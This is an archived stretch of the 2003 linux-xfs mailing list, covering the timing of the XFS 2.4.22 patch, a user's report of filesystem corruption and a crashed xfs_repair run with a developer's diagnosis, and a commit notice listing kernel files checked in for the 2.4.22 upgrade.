iD8DBQE/VLmWfCf8muQVS4cRAl/YAJ40NRj6+SnsCJCjpbWwKNh5bQKulwCdEWLN caVdYACLglLggfuZ3/JtC+0= =CuZx -----END PGP SIGNATURE----- From owner-linux-xfs@oss.sgi.com Tue Sep 2 07:58:04 2003 Received: with ECARTIS (v1.0.0; list linux-xfs); Tue, 02 Sep 2003 07:58:37 -0700 (PDT) Received: from tolkor.sgi.com ([198.149.18.6]) by oss.sgi.com (8.12.9/8.12.5) with SMTP id h82Ew3WZ004601 for ; Tue, 2 Sep 2003 07:58:03 -0700 Received: from flecktone.americas.sgi.com (flecktone.americas.sgi.com [192.48.203.135]) by tolkor.sgi.com (8.12.9/8.12.9/linux-outbound_gateway-1.1) with ESMTP id h82FEfss008788 for ; Tue, 2 Sep 2003 10:14:41 -0500 Received: from poppy-e236.americas.sgi.com (poppy-e236.americas.sgi.com [128.162.236.207]) by flecktone.americas.sgi.com (8.12.9/8.12.9/generic_config-1.2) with ESMTP id h82Evvcc11360793; Tue, 2 Sep 2003 09:57:57 -0500 (CDT) Received: from stout.americas.sgi.com (stout.americas.sgi.com [128.162.232.50]) by poppy-e236.americas.sgi.com (8.12.9/SGI-server-1.8) with ESMTP id h82EvugV337055; Tue, 2 Sep 2003 09:57:56 -0500 (CDT) Date: Tue, 2 Sep 2003 09:57:56 -0500 (CDT) From: Eric Sandeen X-X-Sender: sandeen@stout.americas.sgi.com To: Florian Schanda cc: Mike Burger , Net Llama! , Ethan Benson , Subject: Re: Question in XFS regarding Kernel 2.4.22 In-Reply-To: <200309021539.11221.ma1flfs@bath.ac.uk> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-archive-position: 262 X-ecartis-version: Ecartis v1.0.0 Sender: linux-xfs-bounce@oss.sgi.com Errors-to: linux-xfs-bounce@oss.sgi.com X-original-sender: sandeen@sgi.com Precedence: bulk X-list: linux-xfs Content-Length: 404 Lines: 13 On Tue, 2 Sep 2003, Florian Schanda wrote: > but isn't it an XFS-patch we're talking about here? The cryptoapi is in the > vanilla kernel, not the in XFS patch. That's true, but the patches are generated agasint the internal sgi tree, which is not yet at 2.4.22, because the internal tree is pushed to cvs, and we can't do that 'til we file. Patience, please. We'll do it as soon as we can. -Eric From owner-linux-xfs@oss.sgi.com Tue Sep 2 08:03:15 2003 Received: with ECARTIS (v1.0.0; list linux-xfs); Tue, 02 Sep 2003 08:03:47 -0700 (PDT) Received: from mail.ocs.com.au (mail.ocs.com.au [203.34.97.2]) by oss.sgi.com (8.12.9/8.12.5) with SMTP id h82F3CWZ005410 for ; Tue, 2 Sep 2003 08:03:13 -0700 Received: (qmail 12441 invoked from network); 2 Sep 2003 15:03:02 -0000 Received: from ocs3.intra.ocs.com.au (192.168.255.3) by mail.ocs.com.au with SMTP; 2 Sep 2003 15:03:02 -0000 Received: by ocs3.intra.ocs.com.au (Postfix, from userid 16331) id 729B7C00A8; Wed, 3 Sep 2003 01:02:58 +1000 (EST) Received: from ocs3.intra.ocs.com.au (localhost [127.0.0.1]) by ocs3.intra.ocs.com.au (Postfix) with ESMTP id 6F54D1400A8; Wed, 3 Sep 2003 01:02:58 +1000 (EST) X-Mailer: exmh version 2.5 01/15/2001 with nmh-1.0.4 From: Keith Owens To: Florian Schanda Cc: linux-xfs@oss.sgi.com Subject: Re: Question in XFS regarding Kernel 2.4.22 In-reply-to: Your message of "Tue, 02 Sep 2003 15:38:57 GMT." <200309021539.11221.ma1flfs@bath.ac.uk> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Date: Wed, 03 Sep 2003 01:02:57 +1000 Message-ID: <5296.1062514977@ocs3.intra.ocs.com.au> X-archive-position: 263 X-ecartis-version: Ecartis v1.0.0 Sender: linux-xfs-bounce@oss.sgi.com Errors-to: linux-xfs-bounce@oss.sgi.com X-original-sender: kaos@sgi.com Precedence: bulk X-list: linux-xfs Content-Length: 305 Lines: 10 On Tue, 2 Sep 2003 15:38:57 +0000, Florian Schanda wrote: >Correct me if I'm mistaken, > >but isn't it an XFS-patch we're talking about here? The cryptoapi is in the >vanilla kernel, not the in XFS patch. The XFS CVS tree contains all of the Linux kernel, not just the XFS patch. From owner-linux-xfs@oss.sgi.com Tue Sep 2 12:03:11 2003 Received: with ECARTIS (v1.0.0; list linux-xfs); Tue, 02 Sep 2003 12:03:52 -0700 (PDT) Received: from zok.sgi.com (zok.SGI.COM [204.94.215.101]) by oss.sgi.com (8.12.9/8.12.5) with SMTP id h82J3AWZ031490 for ; Tue, 2 Sep 2003 12:03:11 -0700 Received: from larry.melbourne.sgi.com (larry.melbourne.sgi.com [134.14.52.130]) by zok.sgi.com (8.12.9/8.12.9/linux-outbound_gateway-1.1) with SMTP id h827I5q0024502 for ; Tue, 2 Sep 2003 00:18:05 -0700 Received: from wobbly.melbourne.sgi.com (wobbly.melbourne.sgi.com [134.14.55.135]) by larry.melbourne.sgi.com (950413.SGI.8.6.12/950213.SGI.AUTOCF) via ESMTP id RAA28694; Tue, 2 Sep 2003 17:18:02 +1000 Received: from frodo.melbourne.sgi.com (root@frodo.melbourne.sgi.com [134.14.55.153]) by wobbly.melbourne.sgi.com (SGI-8.12.5/8.12.5) with ESMTP id h827I1mY102329; Tue, 2 Sep 2003 17:18:02 +1000 (EST) Received: from frodo.melbourne.sgi.com (nathans@localhost [127.0.0.1]) by frodo.melbourne.sgi.com (8.12.9/8.12.9/Debian-3) with ESMTP id h827GFaP002169; Tue, 2 Sep 2003 17:16:15 +1000 Received: (from nathans@localhost) by frodo.melbourne.sgi.com (8.12.9/8.12.9/Debian-3) id h827GDhh002167; Tue, 2 Sep 2003 17:16:13 +1000 Date: Tue, 2 Sep 2003 17:16:13 +1000 From: Nathan Scott To: Simon Matter Cc: linux-xfs@oss.sgi.com Subject: Re: XFS shutdown with 1.3.0 Message-ID: <20030902071613.GB1378@frodo> References: <41782.213.173.165.140.1062330069.squirrel@imap01.ch.sauter-bc.com> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <41782.213.173.165.140.1062330069.squirrel@imap01.ch.sauter-bc.com> User-Agent: Mutt/1.5.3i X-archive-position: 264 X-ecartis-version: Ecartis v1.0.0 Sender: linux-xfs-bounce@oss.sgi.com Errors-to: linux-xfs-bounce@oss.sgi.com X-original-sender: nathans@sgi.com Precedence: bulk X-list: linux-xfs Content-Length: 4038 Lines: 105 On Sun, Aug 31, 2003 at 01:41:09PM +0200, Simon Matter wrote: > I have upgraded one of my servers some days ago to my own > kernel-2.4.20-20.7.XFS1.3.0. This is the kernel-2.4.20-19.9.XFS1.3.0 from > oss, upgraded to the RedHat 2.4.20-20 release and nptl disabled (for > RH7.x). I'm running RedHat 7.2, upgraded to the latest errata level. All > xfs tools are the most current. > > Yesterday, my /home filesystem was shut down with the following error: > > xfs_inotobp: xfs_imap() returned an error 22 on md(9,8). Returning error. > xfs_iunlink_remove: xfs_inotobp() returned an error 22 on md(9,8). > Returning error. > xfs_inactive: xfs_ifree() returned an error = 22 on md(9,8) > xfs_force_shutdown(md(9,8),0x1) called from line 1846 of file > xfs_vnodeops.c. Return address = 0xd08bd8c6 > Filesystem "md(9,8)": I/O Error Detected. Shutting down filesystem: md(9,8) > Please umount the filesystem, and rectify the problem(s) Hmmm - seen a couple of these reports now, unfortunately I haven't come across it myself yet. Someone else has a bugzilla bug open, it seems to be really difficult to trigger this one. > > [root@xxl root]# xfs_check /dev/md8 > xfs_check: warning - cannot get sector size from block device /dev/md8: > Invalid argument ^^^^^^^^^^^^^^^^^^^ this is where those bogus md "ictls" are coming from, btw. Its fixed in more recent kernels, you can search lkml archives for recent Neil Brown patches and find the fix (its some missing code in md, and is harmless here). > agf_freeblks 22053, counted 30629 in ag 6 > agi_freecount 332, counted 331 in ag 153 > > [root@xxl root]# xfs_repair -n -l /dev/md9 /dev/md8 Running xfs_repair without -n might help in this case to fix sufficient data on the first run that subsequent runs don't dump core. :| The gdb trace from xfs_repair will provide more clues here too. > xfs_repair: warning - cannot get sector size from block device /dev/md8: > Invalid argument > xfs_repair: warning - cannot get sector size from block device /dev/md9: > Invalid argument > Phase 1 - find and verify superblock... > sb root inode value 128 inconsistent with calculated value 512 > would reset superblock root inode pointer to 512 Wierd. Is this a 4K blocksize filesystem? Do you have xfs_info output handy? taa. > sb realtime bitmap inode 129 inconsistent with calculated value 513 > would reset superblock realtime bitmap ino pointer to 513 > sb realtime summary inode 130 inconsistent with calculated value 514 > would reset superblock realtime summary ino pointer to 514 > Phase 2 - using external log on /dev/md9 > - scan filesystem freespace and inode maps... > root inode chunk not found > avl_insert: Warning! duplicate range [512,576] > add_inode - duplicate inode range > Phase 3 - for each AG... > - scan (but don't clear) agi unlinked lists... > - process known inodes and perform inode discovery... > - agno = 0 > bad .. entry in directory inode 128, points to self: would clear entry > data fork in inode 170 claims metadata block 32 > bad data fork in inode 170 > would have cleared inode 170 > data fork in inode 171 claims metadata block 33 > bad data fork in inode 171 > would have cleared inode 171 > - agno = 1 > - agno = 2 > - agno = 3 > - agno = 4 > - agno = 5 > > - agno = 156 > - agno = 157 > - agno = 158 > - agno = 159 > - process newly discovered inodes... > Phase 4 - check for duplicate blocks... > - setting up duplicate extent list... > Segmentation fault > > [root@xxl root]# xfs_repair -V > xfs_repair version 2.5.6 > > I never considered the following a problem but wanted to mention it anyways. > While running xfs_check and xfs_repair, I also get this in the logs: > > md: xfs_db(pid 9985) used obsolete MD ioctl, upgrade your software to use > new ictls. This part at least is an md problem fixed in more recent kernels. The corruption is more concerning though, and unrelated. cheers. -- Nathan From owner-linux-xfs@oss.sgi.com Tue Sep 2 12:10:15 2003 Received: with ECARTIS (v1.0.0; list linux-xfs); Tue, 02 Sep 2003 12:10:28 -0700 (PDT) Received: from zok.sgi.com (zok.SGI.COM [204.94.215.101]) by oss.sgi.com (8.12.9/8.12.5) with SMTP id h82JAEWZ000465 for ; Tue, 2 Sep 2003 12:10:14 -0700 Received: from flecktone.americas.sgi.com (flecktone.americas.sgi.com [192.48.203.135]) by zok.sgi.com (8.12.9/8.12.9/linux-outbound_gateway-1.1) with ESMTP id h82JA8q0019368 for ; Tue, 2 Sep 2003 12:10:08 -0700 Received: from daisy-e236.americas.sgi.com (daisy-e236.americas.sgi.com [128.162.236.214]) by flecktone.americas.sgi.com (8.12.9/8.12.9/generic_config-1.2) with ESMTP id h82JA7cc11427982 for ; Tue, 2 Sep 2003 14:10:07 -0500 (CDT) Received: from naboo.americas.sgi.com (naboo.americas.sgi.com [128.162.233.73]) by daisy-e236.americas.sgi.com (8.12.9/SGI-server-1.8) with ESMTP id h82JA5Rn251675471; Tue, 2 Sep 2003 14:10:05 -0500 (CDT) Received: by naboo.americas.sgi.com (Postfix, from userid 29039) id 41CAC186C711; Tue, 2 Sep 2003 14:10:04 -0500 (CDT) Subject: TAKE 899885 - Upgrade up to 2.4.22 Message-Id: <20030902191004.41CAC186C711@naboo.americas.sgi.com> Date: Tue, 2 Sep 2003 14:10:04 -0500 (CDT) From: cattelan@naboo.americas.sgi.com (Russell Cattelan) To: undisclosed-recipients:;;;;@sgi.com;;; X-archive-position: 265 X-ecartis-version: Ecartis v1.0.0 Sender: linux-xfs-bounce@oss.sgi.com Errors-to: linux-xfs-bounce@oss.sgi.com X-original-sender: cattelan@naboo.americas.sgi.com Precedence: bulk X-list: linux-xfs Content-Length: 157950 Lines: 3871 Date: Tue Sep 2 11:09:19 PDT 2003 Workarea: naboo.americas.sgi.com:/go/space/XFS/x2.4-xfs-clean The following file(s) were checked into: bonnie.engr.sgi.com:/isms/slinx/2.4.x-xfs Modid: 2.4.x-xfs:slinx:157618a linux/arch/s390x/kernel/exec_domain32.c - 1.1 linux/scripts/mkconfigs.c - 1.1 linux/scripts/extract-ikconfig - 1.1 linux/Documentation/crypto/api-intro.txt - 1.1 linux/Documentation/crypto/descore-readme.txt - 1.1 linux/include/asm-arm/arch-epxa/serial.h - 1.1 linux/include/asm-arm/arch-epxa/system.h - 1.1 linux/include/asm-arm/arch-epxa/platform.h - 1.1 linux/include/asm-arm/arch-epxa/param.h - 1.1 linux/arch/sh/kernel/io_hs7729pci.c - 1.1 linux/arch/sh/kernel/io_keywest.c - 1.1 linux/arch/sh/kernel/io_shmse.c - 1.1 linux/arch/sh/kernel/io_snapgear.c - 1.1 linux/arch/sh/kernel/kgdb_jmp.S - 1.1 linux/arch/sh/kernel/kgdb_stub.c - 1.1 linux/arch/sh/kernel/mach_hs7729pci.c - 1.1 linux/arch/sh/kernel/mach_keywest.c - 1.1 linux/arch/sh/kernel/mach_shmse.c - 1.1 linux/arch/sh/kernel/mach_snapgear.c - 1.1 linux/arch/sh/kernel/pci-sd0001.c - 1.1 linux/arch/sh/kernel/pci-sd0001.h - 1.1 linux/Documentation/s390/c7000.txt - 1.1 linux/arch/sh/kernel/pci-snapgear.c - 1.1 linux/arch/sh/kernel/pci-v320usc.c - 1.1 linux/arch/sh/kernel/pci-v320usc.h - 1.1 linux/arch/sh/kernel/rtc-snapgear.c - 1.1 linux/arch/sh/kernel/setup_hs7729pci.c - 1.1 linux/arch/sh/kernel/setup_keywest.c - 1.1 linux/arch/sh/kernel/setup_shmse.c - 1.1 linux/Documentation/x86_64/boot-options.txt - 1.1 linux/arch/ppc64/kernel/cputable.c - 1.1 linux/arch/sh/kernel/setup_snapgear.c - 1.1 linux/arch/sh/kernel/ubc.S - 1.1 linux/arch/sh/overdrive/Makefile - 1.1 linux/arch/sh/overdrive/fpga.c - 1.1 linux/arch/sh/overdrive/fpga.h - 1.1 linux/arch/sh/overdrive/galileo.c - 1.1 linux/arch/sh/overdrive/gt64111.h - 1.1 linux/arch/sh/overdrive/io.c - 1.1 linux/arch/sh/overdrive/io_od.h - 1.1 linux/arch/sh/overdrive/irq.c - 1.1 linux/arch/sh/overdrive/led.c - 1.1 linux/arch/sh/overdrive/mach.c - 1.1 linux/arch/sh/overdrive/overdrive.h - 1.1 linux/arch/sh/overdrive/pcidma.c - 1.1 linux/arch/sh/overdrive/setup.c - 1.1 linux/arch/sh64/Makefile - 1.1 linux/arch/sh64/boot/Makefile - 1.1 linux/arch/sh64/boot/compressed/Makefile - 1.1 linux/arch/sh64/boot/compressed/cache.c - 1.1 linux/arch/sh64/boot/compressed/head.S - 1.1 linux/arch/sh64/boot/compressed/install.sh - 1.1 linux/arch/sh64/boot/compressed/misc.c - 1.1 linux/arch/sh64/boot/compressed/vmlinux.lds.S - 1.1 linux/arch/sh64/config.in - 1.1 linux/arch/sh64/defconfig - 1.1 linux/arch/arm/boot/compressed/head-at91rm9200.S - 1.1 linux/arch/sh64/kernel/Makefile - 1.1 linux/arch/sh64/kernel/dma.c - 1.1 linux/arch/sh64/kernel/entry.S - 1.1 linux/arch/sh64/kernel/fpu.c - 1.1 linux/arch/ppc/platforms/pplus_setup.c - 1.1 linux/arch/ppc/platforms/pplus_pci.c - 1.1 linux/arch/sh64/kernel/head.S - 1.1 linux/arch/sh64/kernel/init_task.c - 1.1 linux/arch/sh64/kernel/irq.c - 1.1 linux/arch/sh64/kernel/irq_intc.c - 1.1 linux/arch/sh64/kernel/led.c - 1.1 linux/arch/sh64/kernel/pci-dma.c - 1.1 linux/arch/sh64/kernel/pci_sh5.c - 1.1 linux/arch/arm/common/Makefile - 1.1 linux/arch/arm/common/pcipool.c - 1.1 linux/arch/sh64/kernel/pci_sh5.h - 1.1 linux/arch/arm/def-configs/accelent_sa - 1.1 linux/arch/arm/def-configs/adsagc - 1.1 linux/arch/sh64/kernel/pcibios.c - 1.1 linux/arch/arm/def-configs/adsbitsyplus - 1.1 linux/arch/arm/def-configs/at91rm9200dk - 1.1 linux/arch/arm/def-configs/cep - 1.1 linux/arch/sh64/kernel/process.c - 1.1 linux/arch/arm/def-configs/epxa1db - 1.1 linux/arch/sh64/kernel/ptrace.c - 1.1 linux/arch/sh64/kernel/semaphore.c - 1.1 linux/arch/sh64/kernel/setup.c - 1.1 linux/arch/sh64/kernel/sh_ksyms.c - 1.1 linux/arch/arm/def-configs/nanoengine - 1.1 linux/arch/arm/def-configs/omaha - 1.1 linux/arch/arm/def-configs/riscstation - 1.1 linux/arch/sh64/kernel/signal.c - 1.1 linux/arch/ppc/platforms/ibm_ocp.h - 1.1 linux/arch/ppc/platforms/ibm405gp.h - 1.1 linux/arch/ppc/platforms/ibm405gp.c - 1.1 linux/arch/ppc/platforms/ibm405.h - 1.1 linux/arch/sh64/kernel/sys_sh64.c - 1.1 linux/arch/sh64/kernel/time.c - 1.1 linux/arch/sh64/kernel/traps.c - 1.1 linux/arch/sh64/lib/Makefile - 1.1 linux/arch/sh64/lib/c-checksum.c - 1.1 linux/arch/sh64/lib/checksum.S - 1.1 linux/arch/arm/kernel/dma-riscstation.c - 1.1 linux/arch/sh64/lib/copy_user_memcpy.S - 1.1 linux/arch/sh64/lib/dbg.c - 1.1 linux/arch/sh64/lib/io.c - 1.1 linux/arch/sh64/lib/memcpy.c - 1.1 linux/arch/sh64/lib/old-checksum.c - 1.1 linux/arch/sh64/lib/page_clear.S - 1.1 linux/arch/sh64/lib/page_copy.S - 1.1 linux/net/ipv4/netfilter/ipt_recent.c - 1.1 linux/arch/sh64/lib/panic.c - 1.1 linux/arch/sh64/lib/syscalltab.h - 1.1 linux/arch/sh64/lib/udelay.c - 1.1 linux/arch/sh64/mach-cayman/Makefile - 1.1 linux/net/ipv4/netfilter/arpt_mangle.c - 1.1 linux/arch/sh64/mach-cayman/irq.c - 1.1 linux/arch/sh64/mach-cayman/led.c - 1.1 linux/arch/sh64/mach-cayman/setup.c - 1.1 linux/arch/sh64/mach-harp/Makefile - 1.1 linux/arch/sh64/mach-harp/setup.c - 1.1 linux/arch/sh64/mach-sim/Makefile - 1.1 linux/arch/sh64/mach-sim/setup.c - 1.1 linux/arch/sh64/mm/Makefile - 1.1 linux/arch/sh64/mm/cache.c - 1.1 linux/arch/sh64/mm/extable.c - 1.1 linux/arch/sh64/mm/fault.c - 1.1 linux/arch/sh64/mm/init.c - 1.1 linux/arch/sh64/mm/ioremap.c - 1.1 linux/arch/sh64/mm/tlb.c - 1.1 linux/arch/sh64/mm/tlbmiss.c - 1.1 linux/arch/arm/mach-at91rm9200/Makefile - 1.1 linux/arch/arm/mach-at91rm9200/core.c - 1.1 linux/arch/ppc/kernel/pplus_common.c - 1.1 linux/arch/ppc/kernel/ppc4xx_setup.c - 1.1 linux/arch/arm/mach-clps711x/guide-a07.c - 1.1 linux/arch/sh64/vmlinux.lds.S - 1.1 linux/arch/ppc/kernel/ppc405_pci.c - 1.1 linux/arch/arm/mach-epxa/Makefile - 1.1 linux/arch/arm/mach-epxa/arch-epxa10db.c - 1.1 linux/arch/arm/mach-epxa/arch-epxa1db.c - 1.1 linux/arch/arm/mach-epxa/dma.c - 1.1 linux/arch/arm/mach-epxa/irq.c - 1.1 linux/arch/arm/mach-epxa/mm.c - 1.1 linux/arch/arm/mach-epxa/time.c - 1.1 linux/arch/ppc/kernel/ocp.c - 1.1 linux/arch/ppc/kernel/idle_gen.c - 1.1 linux/arch/ppc/configs/pplus_defconfig - 1.1 linux/arch/x86_64/kernel/acpi.c - 1.1 linux/arch/x86_64/kernel/acpi_wakeup.S - 1.1 linux/arch/x86_64/kernel/suspend.c - 1.1 linux/arch/x86_64/kernel/warmreboot.S - 1.1 linux/net/bluetooth/cmtp/sock.c - 1.1 linux/net/bluetooth/cmtp/core.c - 1.1 linux/net/bluetooth/cmtp/cmtp.h - 1.1 linux/net/bluetooth/cmtp/capi.c - 1.1 linux/arch/arm/mach-omaha/Makefile - 1.1 linux/arch/arm/mach-omaha/core.c - 1.1 linux/arch/arm/mach-omaha/leds.c - 1.1 linux/net/bluetooth/cmtp/Makefile - 1.1 linux/arch/arm/mach-sa1100/adsagc.c - 1.1 linux/net/bluetooth/cmtp/Config.in - 1.1 linux/arch/arm/mach-sa1100/adsbitsyplus.c - 1.1 linux/net/bluetooth/bnep/Makefile.lib - 1.1 linux/arch/arm/mach-sa1100/cep.c - 1.1 linux/crypto/Config.in - 1.1 linux/crypto/Makefile - 1.1 linux/crypto/aes.c - 1.1 linux/crypto/api.c - 1.1 linux/crypto/autoload.c - 1.1 linux/crypto/blowfish.c - 1.1 linux/crypto/cipher.c - 1.1 linux/crypto/compress.c - 1.1 linux/lib/gen_crc32table.c - 1.1 linux/arch/arm/mach-sa1100/hackkit.c - 1.1 linux/lib/crc32defs.h - 1.1 linux/lib/crc32.c - 1.1 linux/arch/arm/mach-sa1100/leds-adsagc.c - 1.1 linux/crypto/crypto_null.c - 1.1 linux/arch/arm/mach-sa1100/leds-adsbitsyplus.c - 1.1 linux/crypto/deflate.c - 1.1 linux/crypto/des.c - 1.1 linux/crypto/digest.c - 1.1 linux/arch/arm/mach-sa1100/leds-hackkit.c - 1.1 linux/crypto/hmac.c - 1.1 linux/crypto/internal.h - 1.1 linux/crypto/md4.c - 1.1 linux/crypto/md5.c - 1.1 linux/crypto/proc.c - 1.1 linux/crypto/serpent.c - 1.1 linux/crypto/sha1.c - 1.1 linux/crypto/sha256.c - 1.1 linux/crypto/sha512.c - 1.1 linux/arch/arm/mach-sa1100/simputer.c - 1.1 linux/crypto/tcrypt.c - 1.1 linux/crypto/tcrypt.h - 1.1 linux/arch/arm/mach-sa1100/ssp.c - 1.1 linux/crypto/twofish.c - 1.1 linux/drivers/acorn/scsi/scsi.h - 1.1 linux/drivers/acpi/ac.c - 1.1 linux/drivers/acpi/asus_acpi.c - 1.1 linux/drivers/acpi/battery.c - 1.1 linux/drivers/acpi/blacklist.c - 1.1 linux/drivers/acpi/bus.c - 1.1 linux/drivers/acpi/button.c - 1.1 linux/drivers/acpi/dispatcher/dsinit.c - 1.1 linux/arch/arm/mm/mm-riscstation.c - 1.1 linux/drivers/acpi/events/evgpe.c - 1.1 linux/arch/arm/mm/proc-arm1026.S - 1.1 linux/drivers/acpi/events/evgpeblk.c - 1.1 linux/drivers/acpi/fan.c - 1.1 linux/drivers/acpi/namespace/nsdumpdv.c - 1.1 linux/drivers/acpi/namespace/nsparse.c - 1.1 linux/drivers/acpi/namespace/nsxfeval.c - 1.1 linux/arch/arm/mm/proc-arm925.S - 1.1 linux/drivers/acpi/numa.c - 1.1 linux/drivers/acpi/osl.c - 1.1 linux/drivers/acpi/pci_bind.c - 1.1 linux/drivers/acpi/pci_irq.c - 1.1 linux/drivers/acpi/pci_link.c - 1.1 linux/drivers/acpi/pci_root.c - 1.1 linux/drivers/acpi/processor.c - 1.1 linux/drivers/acpi/system.c - 1.1 linux/include/linux/radeonfb.h - 1.1 linux/drivers/acpi/tables/tbgetall.c - 1.1 linux/drivers/acpi/tables/tbrsdt.c - 1.1 linux/drivers/acpi/thermal.c - 1.1 linux/drivers/acpi/toshiba_acpi.c - 1.1 linux/drivers/acpi/utils.c - 1.1 linux/include/linux/netfilter_ipv4/ipt_recent.h - 1.1 linux/include/linux/netfilter_arp/arpt_mangle.h - 1.1 linux/drivers/atm/he.c - 1.1 linux/arch/parisc/defpalo.conf - 1.1 linux/drivers/atm/he.h - 1.1 linux/arch/mips64/mm/tlb-glue-sb1.S - 1.1 linux/drivers/bluetooth/bfusb.c - 1.1 linux/arch/mips64/mm/tlb-andes.c - 1.1 linux/arch/mips64/mm/sc-rm7k.c - 1.1 linux/arch/mips64/mm/sc-r5k.c - 1.1 linux/arch/mips64/mm/sc-ip22.c - 1.1 linux/drivers/bluetooth/bfusb.h - 1.1 linux/arch/mips64/mm/pg-r4k.c - 1.1 linux/drivers/char/au1000_usbraw.c - 1.1 linux/drivers/char/au1000_usbtty.c - 1.1 linux/include/linux/i2c-algo-sibyte.h - 1.1 linux/drivers/char/au1x00-serial.c - 1.1 linux/include/linux/crypto.h - 1.1 linux/drivers/char/briq_panel.c - 1.1 linux/include/linux/atm_he.h - 1.1 linux/arch/mips64/mm/cex-sb1.S - 1.1 linux/include/asm-x86_64/acpi.h - 1.1 linux/arch/mips64/mm/cerr-sb1.c - 1.1 linux/arch/mips64/mm/cache.c - 1.1 linux/include/asm-sparc64/kmap_types.h - 1.1 linux/drivers/char/ds1286.c - 1.1 linux/arch/mips64/mm/c-r4k.c - 1.1 linux/drivers/char/ip27-rtc.c - 1.1 linux/include/asm-sh64/user.h - 1.1 linux/include/asm-sh64/unistd.h - 1.1 linux/include/asm-sh64/unaligned.h - 1.1 linux/include/asm-sh64/ucontext.h - 1.1 linux/include/asm-sh64/uaccess.h - 1.1 linux/include/asm-sh64/types.h - 1.1 linux/include/asm-sh64/tlb.h - 1.1 linux/include/asm-sh64/timex.h - 1.1 linux/include/asm-sh64/termios.h - 1.1 linux/include/asm-sh64/termbits.h - 1.1 linux/include/asm-sh64/system.h - 1.1 linux/include/asm-sh64/string.h - 1.1 linux/arch/cris/kernel/crisksyms.c - 1.1 linux/arch/cris/kernel/debug.c - 1.1 linux/include/asm-sh64/statfs.h - 1.1 linux/include/asm-sh64/stat.h - 1.1 linux/include/asm-sh64/spinlock.h - 1.1 linux/include/asm-sh64/softirq.h - 1.1 linux/include/asm-sh64/sockios.h - 1.1 linux/include/asm-sh64/socket.h - 1.1 linux/include/asm-sh64/smplock.h - 1.1 linux/include/asm-sh64/smp.h - 1.1 linux/include/asm-sh64/signal.h - 1.1 linux/include/asm-sh64/siginfo.h - 1.1 linux/include/asm-sh64/sigcontext.h - 1.1 linux/include/asm-sh64/shmparam.h - 1.1 linux/include/asm-sh64/shmbuf.h - 1.1 linux/include/asm-sh64/serial.h - 1.1 linux/include/asm-sh64/sembuf.h - 1.1 linux/include/asm-sh64/semaphore.h - 1.1 linux/include/asm-sh64/semaphore-helper.h - 1.1 linux/include/asm-sh64/segment.h - 1.1 linux/include/asm-sh64/scatterlist.h - 1.1 linux/include/asm-sh64/resource.h - 1.1 linux/include/asm-sh64/registers.h - 1.1 linux/include/asm-sh64/ptrace.h - 1.1 linux/drivers/char/mips_rtc.c - 1.1 linux/arch/mips64/lib/promlib.c - 1.1 linux/drivers/char/serial_txx9.c - 1.1 linux/include/asm-sh64/processor.h - 1.1 linux/include/asm-sh64/posix_types.h - 1.1 linux/drivers/char/sgiserial.c - 1.1 linux/include/asm-sh64/poll.h - 1.1 linux/arch/i386/kernel/acpi_wakeup.S - 1.1 linux/include/asm-sh64/platform.h - 1.1 linux/include/asm-sh64/pgtable.h - 1.1 linux/drivers/char/sgiserial.h - 1.1 linux/include/asm-sh64/pgalloc.h - 1.1 linux/include/asm-sh64/pci.h - 1.1 linux/include/asm-sh64/param.h - 1.1 linux/include/asm-sh64/page.h - 1.1 linux/include/asm-sh64/namei.h - 1.1 linux/drivers/char/vac-serial.c - 1.1 linux/drivers/i2c/i2c-algo-sibyte.c - 1.1 linux/include/asm-sh64/msgbuf.h - 1.1 linux/drivers/i2c/i2c-max1617.c - 1.1 linux/drivers/i2c/i2c-sibyte.c - 1.1 linux/drivers/ieee1394/oui.db - 1.1 linux/drivers/ieee1394/oui2c.sh - 1.1 linux/arch/mips64/kernel/signal_n32.c - 1.1 linux/include/asm-sh64/module.h - 1.1 linux/include/asm-sh64/mmu_context.h - 1.1 linux/include/asm-sh64/mmu.h - 1.1 linux/include/asm-sh64/mman.h - 1.1 linux/include/asm-sh64/mc146818rtc.h - 1.1 linux/include/asm-sh64/linux_logo.h - 1.1 linux/include/asm-sh64/keyboard.h - 1.1 linux/include/asm-sh64/irq.h - 1.1 linux/include/asm-sh64/ipcbuf.h - 1.1 linux/include/asm-sh64/ipc.h - 1.1 linux/include/asm-sh64/ioctls.h - 1.1 linux/include/asm-sh64/ioctl.h - 1.1 linux/include/asm-sh64/io.h - 1.1 linux/include/asm-sh64/init.h - 1.1 linux/include/asm-sh64/ide.h - 1.1 linux/include/asm-sh64/hw_irq.h - 1.1 linux/include/asm-sh64/hdreg.h - 1.1 linux/include/asm-sh64/hardware.h - 1.1 linux/include/asm-sh64/hardirq.h - 1.1 linux/include/asm-sh64/fcntl.h - 1.1 linux/include/asm-sh64/errno.h - 1.1 linux/include/asm-sh64/elf.h - 1.1 linux/include/asm-sh64/dma.h - 1.1 linux/include/asm-sh64/div64.h - 1.1 linux/include/asm-sh64/delay.h - 1.1 linux/include/asm-sh64/current.h - 1.1 linux/include/asm-sh64/checksum.h - 1.1 linux/include/asm-sh64/cayman.h - 1.1 linux/include/asm-sh64/cache.h - 1.1 linux/include/asm-sh64/byteorder.h - 1.1 linux/include/asm-sh64/bugs.h - 1.1 linux/include/asm-sh64/bitops.h - 1.1 linux/include/asm-sh64/atomic.h - 1.1 linux/include/asm-sh64/a.out.h - 1.1 linux/include/asm-sh/ubc.h - 1.1 linux/include/asm-sh/segment.h - 1.1 linux/include/asm-sh/parport.h - 1.1 linux/include/asm-sh/mmzone.h - 1.1 linux/include/asm-sh/kgdb.h - 1.1 linux/include/asm-sh/keyboard-hs7729pci.h - 1.1 linux/include/asm-sh/irq-sh7300.h - 1.1 linux/include/asm-sh/io_snapgear.h - 1.1 linux/include/asm-sh/io_shmse.h - 1.1 linux/include/asm-sh/io_keywest.h - 1.1 linux/include/asm-sh/io_hs7729pci.h - 1.1 linux/include/asm-sh/hitachi_shmse.h - 1.1 linux/include/asm-sh/hitachi_hs7729pci.h - 1.1 linux/include/asm-sh/cachectl.h - 1.1 linux/include/asm-s390x/qdio.h - 1.1 linux/include/asm-s390/qdio.h - 1.1 linux/include/asm-ppc64/kmap_types.h - 1.1 linux/include/asm-ppc64/cputable.h - 1.1 linux/arch/mips64/kernel/scall_n32.S - 1.1 linux/drivers/media/video/i2c-compat.h - 1.1 linux/drivers/media/video/swarm_saa7114h.c - 1.1 linux/arch/ia64/scripts/unwcheck.sh - 1.1 linux/drivers/net/Makefile.lib - 1.1 